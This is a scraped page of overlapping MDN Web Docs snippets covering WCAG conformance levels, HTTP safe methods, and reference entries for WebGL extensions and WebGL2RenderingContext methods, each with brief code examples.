Web Accessibility Initiative group at the W3C. They outline a set of guidelines for making content accessible primarily for people with disabilities but also for limited-resource devices such as mobile phones. WCAG 2.0 which superseded WCAG 1.0 was published as a W3C Recommendation on 11 December 2008. It consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has testable success criteria. WCAG uses three levels of conformance: Priority 1:
Web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the
Web content. Conformance to this level is described as A. ...
...consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has testable success criteria. WCAG uses three levels of conformance: Priority 1:
Web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the
Web content. Conformance to this level is described as A. Priority 2:
Web developers should satisfy these requirements, otherwise some groups will find it difficult to access the
Web content. Conformance to this level is described as AA or Double-A. Priority 3:
Web developers may satisfy these requirements, in order to make it easier for some groups to access the
Web content. Conformance to this level is described as AAA or Triple-A. Learn more General knowledge ...
Routers - MDN Web Docs Glossary: Definitions of Web-related terms
This middleware module is used for all URL functions, as these are given a path to a file that is rendered to open the next page. ...
...This middleware module is used for all URL functions, as these are given a path to a file that is rendered to open the next page. ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
vers can alter their state: e.g. they can log or keep statistics. What is important here is that by calling a safe method, the client doesn't request any server change itself, and therefore won't create an unnecessary load or burden for the server. Browsers can call safe methods without fearing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk.
Web crawlers also rely on calling safe methods. Safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-commerce
Web site. It is the responsibility of the application on the server to implement the safe semantic correct...
...s also rely on calling safe methods. Safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-commerce
Web site. It is the responsibility of the application on the server to implement the safe semantic correctly, the
webserver itself, being Apache, Nginx or IIS, can't enforce it by itself. In particular, an application should not allow GET requests to alter its state. A call to a safe method, not changing the state for the server: GET /pageX.html HTTP/1.1 A call to a non-safe method, that may change the state of the server: POST /pageX.html HTTP/1.1 A call to an idempotent but non-safe method: DELETE /idX...
WEBGL_color_buffer_float - Web APIs
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to
WebGL 1 contexts only. For
WebGL 2, use the EXT_color_buffer_float extension. The OES_texture_float extension implicitly enables this extension. Constants ext.RGBA32F_EXT RGBA 32-bit floating-point color-renderable format. ext.RGB32F_EXT ( ) RGB 32-bit floating-point color-renderable format. ...
...
WebGL 2, use the EXT_color_buffer_float extension. The OES_texture_float extension implicitly enables this extension. Constants ext.RGBA32F_EXT RGBA 32-bit floating-point color-renderable format. ext.RGB32F_EXT ( ) RGB 32-bit floating-point color-renderable format. ext.FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT ? ext.UNSIGNED_NORMALIZED_EXT ? Extended methods This extension extends
WebGLRenderingContext.renderbufferStorage(): The internalformat parameter now accepts ext.RGBA32F_EXT and ext.RGB32F_EXT ( ). Examples var ext = gl.getExtension('
WEBGL_color_buffer_float'); gl.renderbufferStorage(gl.RENDERBUFFER, ext.RBGA32F_EXT, 256, 256); Specifications Specification Status Comment
WEBGL_color_buffer_floatThe definition of '
WEBGL_color_buffer_float...
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
The
WEBGL_compressed_texture_astc.getSupportedProfiles() method returns an array of strings containing the names of the ASTC profiles supported by the implementation. Syntax sequence<DOMString> ext.getSupportedProfiles(); Return value An Array of DOMString elements indicating which ASTC profiles are supported by the implementation. Currently, this can be: "ldr": Low Dynamic Range. "hdr": High Dynamic Range. Dynamic range refers to ratio between the brightest and darkest parts of the scene. Low dynamic ranges are for example JPEG format images which won't exceed 255:1, or CRT monitors which won't exceed 100:1. An HDR image stores pixel values that span the whole tonal range of real-world scenes (100,000:1). ...
... "ldr": Low Dynamic Range. "hdr": High Dynamic Range. Dynamic range refers to ratio between the brightest and darkest parts of the scene. Low dynamic ranges are for example JPEG format images which won't exceed 255:1, or CRT monitors which won't exceed 100:1. An HDR image stores pixel values that span the whole tonal range of real-world scenes (100,000:1). Examples var ext = gl.getExtension('
WEBGL_compressed_texture_astc'); ext.getSupportedProfiles(); // ["ldr"] Specifications Specification Status Comment
WEBGL_compressed_texture_astcThe definition of '
WEBGL_compressed_texture_astc' in that specification. Recommendation Initial definition. ...
WEBGL_compressed_texture_etc - Web APIs
Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Constants The compressed texture formats are exposed by 10 constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ext.COMPRESSED_R11_EAC One-channel (red) unsigned format compression. ...
...y. ext.COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2 Similar to RGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent. ext.COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2 Similar to SRGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent. Examples var ext = gl.getExtension('
WEBGL_compressed_texture_etc'); var texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGBA8_ETC2_EAC, 512, 512, 0, textureData); Specifications Specification Status Comment
WEBGL_compressed_texture_etcThe definition of '
WEBGL_compressed_texture_etc' in that specification. Draft Initial defi...
WEBGL_debug_shaders - Web APIs
The
WEBGL_debug_shaders extension is part of the
WebGL API and exposes a method to debug shaders from privileged contexts. This extension is not directly available to
web sites as the way of how the shader is translated may uncover personally-identifiable information to the
web page about the kind of graphics card in the user's computer.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: Depending on the privacy settings of the browser, this extension might only be available to privileged contexts. This extension is available to both,
WebGL1 and
WebGL2 contexts. Methods
WEBGL_debug_shaders.getTranslatedShaderSource() Returns the translated shader source. Specif...
...Extensions in the
WebGL tutorial. Availability: Depending on the privacy settings of the browser, this extension might only be available to privileged contexts. This extension is available to both,
WebGL1 and
WebGL2 contexts. Methods
WEBGL_debug_shaders.getTranslatedShaderSource() Returns the translated shader source. Specifications Specification Status Comment
WEBGL_debug_shadersThe definition of '
WEBGL_debug_shaders' in that specification. Recommendation Initial definition. ...
WEBGL_lose_context - Web APIs
The
WEBGL_lose_context extension is part of the
WebGL API and exposes functions to simulate losing and restoring a
WebGLRenderingContext.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Methods
WEBGL_lose_context.loseContext() Simulates losing the context.
WEBGL_lose_context.restoreContext() Simulates restoring the context. Examples With this extension, you can simulate the
webglcontextlost and
webglcontextrestored events: const canvas = document.getElementById('canvas'); const gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', (event) => { console.log(event); });...
...) Simulates losing the context.
WEBGL_lose_context.restoreContext() Simulates restoring the context. Examples With this extension, you can simulate the
webglcontextlost and
webglcontextrestored events: const canvas = document.getElementById('canvas'); const gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', (event) => { console.log(event); }); gl.getExtension('
WEBGL_lose_context').loseContext(); //
WebGLContextEvent event with type "
webglcontextlost" is logged. Specifications Specification Status Comment
WEBGL_lose_contextThe definition of '
WEBGL_lose_context' in that specification. Recommendation Initial definition. ...
WebGL2RenderingContext.beginQuery() - Web APIs
The
WebGL2RenderingContext.beginQuery() method of the
WebGL 2 API starts an asynchronous query. The target parameter indicates which kind of query to begin. Syntax void gl.beginQuery(target, query); Parameters target A GLenum specifying the target of the query. Possible values: gl.ANY_SAMPLES_PASSED: Specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass). gl.ANY_SAMPLES_PASSED_CONSERVATIVE: Same as above above, but less accurate and faster version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. query A
WebGLQuery object for which to start the querying. Return value None. Examples...
... less accurate and faster version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. query A
WebGLQuery object for which to start the querying. Return value None. Examples var query = gl.createQuery(); gl.beginQuery(gl.ANY_SAMPLES_PASSED, query); // ... Specifications Specification Status Comment
WebGL 2.0The definition of 'beginQuery' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBeginQuery' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
The
WebGL2RenderingContext.beginTransformFeedback() method of the
WebGL 2 API starts a transform feedback operation. Syntax void gl.beginTransformFeedback(primitiveMode); Parameters primitiveMode A GLenum specifying the output type of the primitives that will be recorded into the buffer objects that are bound for transform feedback. Possible values: gl.POINTS gl.LINES gl.TRIANGLES Return value None. Examples var transformFeedback = gl.createTransformFeedback(); gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); gl.beginTransformFeedback(gl.TRIANGLES); gl.drawArrays(gl.TRIANGLES, 0, 3); Specifications Specification Status Comment
WebGL 2.0The definition of 'beginTransformFeedback' in that specification. Editor's...
... OpenGL ES 3.0The definition of 'glBeginTransformFeedback' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.blitFramebuffer() - Web APIs
Syntax void gl.blitFramebuffer(srcX0, srcY0, srcX1, srcY1, dstX0, dstY0, dstX1, dstY1, mask, filter); Parameters srcX0, srcY0, srcX1, srcY1 A GLint specifying the bounds of the source rectangle. dstX0, dstY0, dstX1, dstY1 A GLint specifying the bounds of the destination rectangle. mask A GLbitfield specifying a bitwise OR mask indicating which buffers are to be copied. Possible values: gl.COLOR_BUFFER_BIT gl.DEPTH_BUFFER_BIT gl.STENCIL_BUFFER_BIT filter A GLenum specifying the interpolation to be applied if the image is stretched. ...
...filter A GLenum specifying the interpolation to be applied if the image is stretched. Possible values: gl.NEAREST gl.LINEAR Return value None. Examples gl.blitFramebuffer(0, 0, canvas.width, canvas.height, 0, 0, canvas.width, canvas.height, gl.COLOR_BUFFER_BIT, gl.NEAREST); Specifications Specification Status Comment
WebGL 2.0The definition of 'blitFramebuffer' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glBlitFramebuffer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
Syntax void gl.clearBufferfv(buffer, drawbuffer, values, optional srcOffset); void gl.clearBufferiv(buffer, drawbuffer, values, optional srcOffset); void gl.clearBufferuiv(buffer, drawbuffer, values, optional srcOffset); void gl.clearBufferfi(buffer, drawbuffer, depth, stencil); Parameters buffer A GLenum specifying the buffer to clear. Possible values are: gl.COLOR: Color buffer. gl.DEPTH: Depth buffer. gl.STENCIL: Stencil buffer. gl.DEPTH_STENCIL: clears depth and stencil buffers (used with clearBufferfi). drawBuffer A GLint specifying the draw buffer to clear. ...
...ffer to. Return value None. Examples gl.clearBufferiv(gl.COLOR, 0, new Int32Array([r, g, b, a])); gl.clearBufferuiv(gl.COLOR, 0, new Uint32Array([r, g, b, a])); gl.clearBufferfv(gl.COLOR, 0, new Float32Array([r, g, b, a])); gl.clearBufferfv(gl.COLOR, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearBufferfi(gl.DEPTH_STENCIL, 0, 1.0, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'clearBuffer[fiuv]()' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glClearBuffer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
Syntax // read from the buffer bound to gl.PIXEL_UNPACK_BUFFER void gl.compressedTexSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, imageSize, offset); void gl.compressedTexSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, ArrayBufferView srcData, optional srcOffset, optional srcLengthOverride); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. ...
...fying the offset in bytes from which to read from the buffer bound to gl.PIXEL_UNPACK_BUFFER. srcData An ArrayBufferView that be used as a data store for the compressed image data in memory. Return value None. Examples gl.compressedTexSubImage3D(gl.TEXTURE_3D, 0, 0, 0, 512, 512, 512, gl.COMPRESSED_R11_EAC, textureData); Specifications Specification Status Comment
WebGL 2.0The definition of 'compressedTexSubImage3D' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glCompressedTexSubImage3D' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. ...
WebGL2RenderingContext.copyTexSubImage3D() - Web APIs
Syntax void gl.copyTexSubImage3D(target, level, xoffset, yoffset, zoffset, x, y, width, height); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. level A GLint specifying the level of detail. Level 0 is the base image level and level n is the nth mipmap reduction level. xoffset A GLint specifying the x offset within the texture image. yoffset A GLint specifying the y offset within the texture image. ...
... corner where to start copying. y A GLint specifying the y coordinate of the lower left corner where to start copying. width A GLsizei specifying the width of the texture. height A GLsizei specifying the height of the texture. Return value None. Examples gl.copyTexSubImage3D(gl.TEXTURE_3D, 0, 0, 0, 0, 0, 0, 16, 16); Specifications Specification Status Comment
WebGL 2.0The definition of 'copyTexSubImage3D' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glCopyTexSubImage3D' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
Syntax void gl.drawArraysInstanced(mode, first, count, instanceCount); Parameters mode A GLenum specifying the type primitive to render. Possible values are: gl.POINTS: Draws a single dot. gl.LINE_STRIP: Draws a straight line to the next vertex. gl.LINE_LOOP: Draws a straight line to the next vertex, and connects the last vertex back to the first. gl.LINES: Draws a line between a pair of vertices. ...
...ices. first A GLint specifying the starting index in the array of vector points. count A GLsizei specifying the number of indices to be rendered. instanceCount A GLsizei specifying the number of instances of the range of elements to execute. Return value None. Examples gl.drawArraysInstanced(gl.POINTS, 0, 8, 4); Specifications Specification Status Comment
WebGL 2.0The definition of 'drawArraysInstanced' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glDrawArraysInstanced' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.drawBuffers() - Web APIs
The draw buffer settings are part of the state of the currently bound framebuffer or the drawingbuffer if no framebuffer is bound. Syntax void gl.drawBuffers(buffers); Parameters buffers An Array of GLenum specifying the buffers into which fragment colors will be written. Possible values are: gl.NONE: Fragment shader output is not written into any color buffer. gl.BACK: Fragment shader output is written into the back color buffer. gl.COLOR_ATTACHMENT{0-15}: Fragment shader output is written in the nth color attachment of the current framebuffer. Return value None. ...
...e back color buffer. gl.COLOR_ATTACHMENT{0-15}: Fragment shader output is written in the nth color attachment of the current framebuffer. Return value None. Exceptions If buffers contains not one of the accepted values, a gl.INVALID_ENUM error is thrown. Examples gl.drawBuffers([gl.NONE, gl.COLOR_ATTACHMENT1]); Specifications Specification Status Comment
WebGL 2.0The definition of 'drawBuffers' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glDrawBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
Syntax void gl.drawElementsInstanced(mode, count, type, offset, instanceCount); Parameters mode A GLenum specifying the type primitive to render. Possible values are: gl.POINTS: Draws a single dot. gl.LINE_STRIP: Draws a straight line to the next vertex. gl.LINE_LOOP: Draws a straight line to the next vertex, and connects the last vertex back to the first. gl.LINES: Draws a line between a pair of vertices. ...
...de is not one of the accepted values, a gl.INVALID_ENUM error is thrown. If offset is a valid multiple of the size of the given type, a gl.INVALID_OPERATION error is thrown. If count or instanceCount are negative, a gl.INVALID_VALUE error is thrown. Examples gl.drawElementsInstanced(gl.POINTS, 2, gl.UNSIGNED_SHORT, 0, 4); Specifications Specification Status Comment
WebGL 2.0The definition of 'drawElementsInstanced' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glDrawElementsInstanced' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.drawRangeElements() - Web APIs
Syntax void gl.drawRangeElements(mode, start, end, count, type, offset); Parameters mode A GLenum specifying the type primitive to render. Possible values are: gl.POINTS: Draws a single dot. gl.LINE_STRIP: Draws a straight line to the next vertex. gl.LINE_LOOP: Draws a straight line to the next vertex, and connects the last vertex back to the first. gl.LINES: Draws a line between a pair of vertices. gl.TRIANGLE_STRIP gl.TRIANGLE_FAN gl.TRIANGLES: Draws a triangle for a group of three vertices. start A GLuint specifying the minimum array index contained in offset. ...
... Exceptions If mode is not one of the accepted values, a gl.INVALID_ENUM error is thrown. If offset is a valid multiple of the size of the given type, a gl.INVALID_OPERATION error is thrown. If count is negative, a gl.INVALID_VALUE error is thrown. Examples gl.drawRangeElements(gl.POINTS, 0, 7, 8, gl.UNSIGNED_BYTE, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'drawRangeElements' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glDrawRangeElements' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.endQuery() - Web APIs
Syntax void gl.endQuery(target); Parameters target A GLenum specifying the target of the query. Possible values: gl.ANY_SAMPLES_PASSED: Specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass). gl.ANY_SAMPLES_PASSED_CONSERVATIVE: Same as above above, but less accurate and faster version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. Return value None. Examples var query = gl.createQuery(); gl.beginQuery(gl.ANY_SAMPLES_PASSED, query); // ... ...
...Same as above above, but less accurate and faster version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. Return value None. Examples var query = gl.createQuery(); gl.beginQuery(gl.ANY_SAMPLES_PASSED, query); // ... gl.endQuery(gl.ANY_SAMPLES_PASSED); Specifications Specification Status Comment
WebGL 2.0The definition of 'endQuery' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glEndQuery' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.endTransformFeedback() - Web APIs
OpenGL ES 3.0The definition of 'glEndTransformFeedback' in that specification. ...
...operation. Syntax void gl.endTransformFeedback(); Parameters None. Return value None. Examples var transformFeedback = gl.createTransformFeedback(); gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); gl.beginTransformFeedback(gl.TRIANGLES); gl.drawArrays(gl.TRIANGLES, 0, 3); gl.endTransformFeedback(); Specifications Specification Status Comment
WebGL 2.0The definition of 'endTransformFeedback' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glEndTransformFeedback' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.fenceSync() - Web APIs
The
WebGL2RenderingContext.fenceSync() method of the
WebGL 2 API creates a new
WebGLSync object and inserts it into the GL command stream. Syntax
WebGLSync gl.fenceSync(condition, flags); Parameters condition A GLenum specifying the condition that must be met to set the sync object's state to signaled. Must be gl.SYNC_GPU_COMMANDS_COMPLETE. flags A GLbitfield specifying a bitwise combination of flags controlling the behavior of the sync object. Must be 0 (exists for extensions only). Return value A
WebGLSync object. Examples gl must be a
WebGL2RenderingContext.
WebGLSync objects are not available in
WebGL 1. ...
...Lbitfield specifying a bitwise combination of flags controlling the behavior of the sync object. Must be 0 (exists for extensions only). Return value A
WebGLSync object. Examples gl must be a
WebGL2RenderingContext.
WebGLSync objects are not available in
WebGL 1. var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'fenceSync' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glFenceSync' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
uniformBlockIndex A GLuint specifying the index of the active uniform block within the program. pname A GLenum specifying which information to query. Possible values: gl.UNIFORM_BLOCK_BINDING: Returns a GLuint indicating the uniform buffer binding point. gl.UNIFORM_BLOCK_DATA_SIZE: Returns a GLuint indicating the minimum total buffer object size. ...
...ating whether the uniform block is referenced by the fragment shader. Return value Depends on which information is requested using the pname parameter. If an error occurs, null is returned. Examples var blockSize = gl.getActiveUniformBlockParameter(program, blockIndex, gl.UNIFORM_BLOCK_DATA_SIZE); Specifications Specification Status Comment
WebGL 2.0The definition of 'getActiveUniformBlockParameter' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetActiveUniformBlockiv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getActiveUniforms() - Web APIs
uniformIndices An Array of GLuint specifying the indices of the active uniforms to query. pname A GLenum specifying which information to query. Possible values: gl.UNIFORM_TYPE: Returns an Array of GLenum indicating the types of the uniforms. gl.UNIFORM_SIZE: Returns an Array of GLuint indicating the sizes of the uniforms. gl.UNIFORM_BLOCK_INDEX: Returns an Array of GLint indicating the block indices of the uniforms. ...
...ther each of the uniforms is a row-major matrix or not. Return value Depends on which information is requested using the pname parameter. Examples var uniformIndices = gl.getUniformIndices(program, ['UBORed', 'UBOGreen', 'UBOBlue']); var uniformOffsets = gl.getActiveUniforms(program, uniformIndices, gl.UNIFORM_OFFSET); Specifications Specification Status Comment
WebGL 2.0The definition of 'getActiveUniforms' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetActiveUniformsiv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getBufferSubData() - Web APIs
Syntax void gl.getBufferSubData(target, srcByteOffset, ArrayBufferView dstData, optional dstOffset, optional length); Parameters target A GLenum specifying the binding point (target). Possible values: gl.ARRAY_BUFFER: Buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data. gl.ELEMENT_ARRAY_BUFFER: Buffer used for element indices. gl.COPY_READ_BUFFER: Buffer for copying from one buffer object to another. gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. ...
...back object is currently active. Examples var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW); var arrBuffer = new ArrayBuffer(vertices.length * Float32Array.BYTES_PER_ELEMENT); gl.getBufferSubData(gl.ARRAY_BUFFER, 0, arrBuffer); Specifications Specification Status Comment
WebGL 2.0The definition of 'getBufferSubData' in that specification. Editor's Draft Initial definition. ...
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
Syntax any gl.getInternalformatParameter(target, internalformat, pname); Parameters target A Glenum specifying the target renderbuffer object. Possible values: gl.RENDERBUFFER: Buffer data storage for single images in a renderable internal format. internalformat A GLenum specifying the internal format about which to retrieve information (must be a color-renderable, depth-renderable or stencil-renderable format). pname A GLenum specifying the type of information to query. ...
...mple counts supported for internalformat in descending order. Return value Depends on the requested information (as specified with pname). It is an Int32Array if pname is gl.SAMPLES. Examples var samples = gl.getInternalformatParameter(gl.RENDERBUFFER, gl.RGBA8, gl.SAMPLES); Specifications Specification Status Comment
WebGL 2.0The definition of 'getInternalFormatParameter' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetInternalformativ' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getQuery() - Web APIs
The
WebGL2RenderingContext.getQuery() method of the
WebGL 2 API returns the currently active
WebGLQuery for the target, or null. Syntax
WebGLQuery gl.getQuery(target, pname); Parameters target A GLenum specifying the target of the query. Possible values: gl.ANY_SAMPLES_PASSED: Specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass). gl.ANY_SAMPLES_PASSED_CONSERVATIVE: Same as above above, but less accurate and faster version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. pname A GLenum specifying the query object target. Must be gl.CURRENT_QUERY. Return value A
WebGLQuery object. ...
...er version. gl.TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: Number of primitives that are written to transform feedback buffers. pname A GLenum specifying the query object target. Must be gl.CURRENT_QUERY. Return value A
WebGLQuery object. Examples var currentQuery = gl.getQuery(gl.ANY_SAMPLES_PASSED, gl.CURRENT_QUERY); Specifications Specification Status Comment
WebGL 2.0The definition of 'getQuery' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGetQueryiv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getQueryParameter() - Web APIs
The
WebGL2RenderingContext.getQueryParameter() method of the
WebGL 2 API returns parameter information of a
WebGLQuery object. Syntax any gl.getQueryParameter(query, pname); Parameters query A
WebGLQuery object. pname A GLenum specifying which information to return. Possible values: gl.QUERY_RESULT: Returns a GLuint containing the query result. gl.QUERY_RESULT_AVAILABLE: Returns a GLboolean indicating whether or not a query result is available. Return value Depends on the pname parameter, either a GLuint or a GLboolean. ...
...QUERY_RESULT_AVAILABLE: Returns a GLboolean indicating whether or not a query result is available. Return value Depends on the pname parameter, either a GLuint or a GLboolean. Examples var query = gl.createQuery(); gl.beginQuery(gl.ANY_SAMPLES_PASSED, query); var result = gl.getQueryParameter(query, gl.QUERY_RESULT); Specifications Specification Status Comment
WebGL 2.0The definition of 'getQueryParameter' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGetQueryObjectuiv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getSamplerParameter() - Web APIs
pname A GLenum specifying which information to return. Possible values: gl.TEXTURE_COMPARE_FUNC: Returns a GLenum indicating the texture comparison function. gl.TEXTURE_COMPARE_MODE: Returns a GLenum indicating the texture comparison mode. gl.TEXTURE_MAG_FILTER: Returns a GLenum indicating the texture magnification filter. gl.TEXTURE_MAX_LOD: Returns a GLfloat indicating the maximum level-of-detail value. ...
...tion for the texture coordinate s. gl.TEXTURE_WRAP_T: Returns a GLenum indicating the texture wrapping function for the texture coordinate t. Return value Depends on the pname parameter, either a GLenum or a GLfloat. Examples var sampler = gl.createSampler(); gl.getSamplerParameter(sampler, gl.TEXTURE_COMPARE_FUNC); Specifications Specification Status Comment
WebGL 2.0The definition of 'getSamplerParameter' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glGetSamplerParameter' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getSyncParameter() - Web APIs
pname A GLenum specifying which information to return. Possible values: gl.OBJECT_TYPE: Returns a GLenum indicating the type of the sync object (always gl.SYNC_FENCE). gl.SYNC_STATUS: Returns a GLenum indicating the status of the sync object (gl.SIGNALED or gl.UNSIGNALED). gl.SYNC_CONDITION: Returns a GLenum indicating the sync objects' condition (always gl.SYNC_GPU_COMMANDS_COMPLETE). gl.SYNC_FLAGS: Returns a GLenum indicating the flags with which the sync object was created (always 0 as no flags are supported). ...
... gl.SYNC_FLAGS: Returns a GLenum indicating the flags with which the sync object was created (always 0 as no flags are supported). Return value Depends on the pname parameter, either a GLenum or a GLbitfield. Examples var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); gl.getSyncParameter(sync, gl.SYNC_STATUS); Specifications Specification Status Comment
WebGL 2.0The definition of 'getSyncParameter' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetSynciv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
The
WebGL2RenderingContext.getUniformBlockIndex() method of the
WebGL 2 API retrieves the index of a uniform block within a
WebGLProgram. Syntax GLuint gl.getUniformBlockIndex(program, uniformBlockName); Parameters program A
WebGLProgram containing the uniform block. uniformName A DOMString specifying the name of the uniform block to whose index to retrieve. Return value A GLuint indicating the uniform block index. ...
...iform block to whose index to retrieve. Return value A GLuint indicating the uniform block index. Examples // Assuming a shader with the following declaration: // uniform UBOData { // mat4 foo; // } instanceName; // use the block name, not the instance name: var blockIndex = gl.getUniformBlockIndex(program, 'UBOData'); Specifications Specification Status Comment
WebGL 2.0The definition of 'getUniformBlockIndex' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetUniformBlockIndex' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
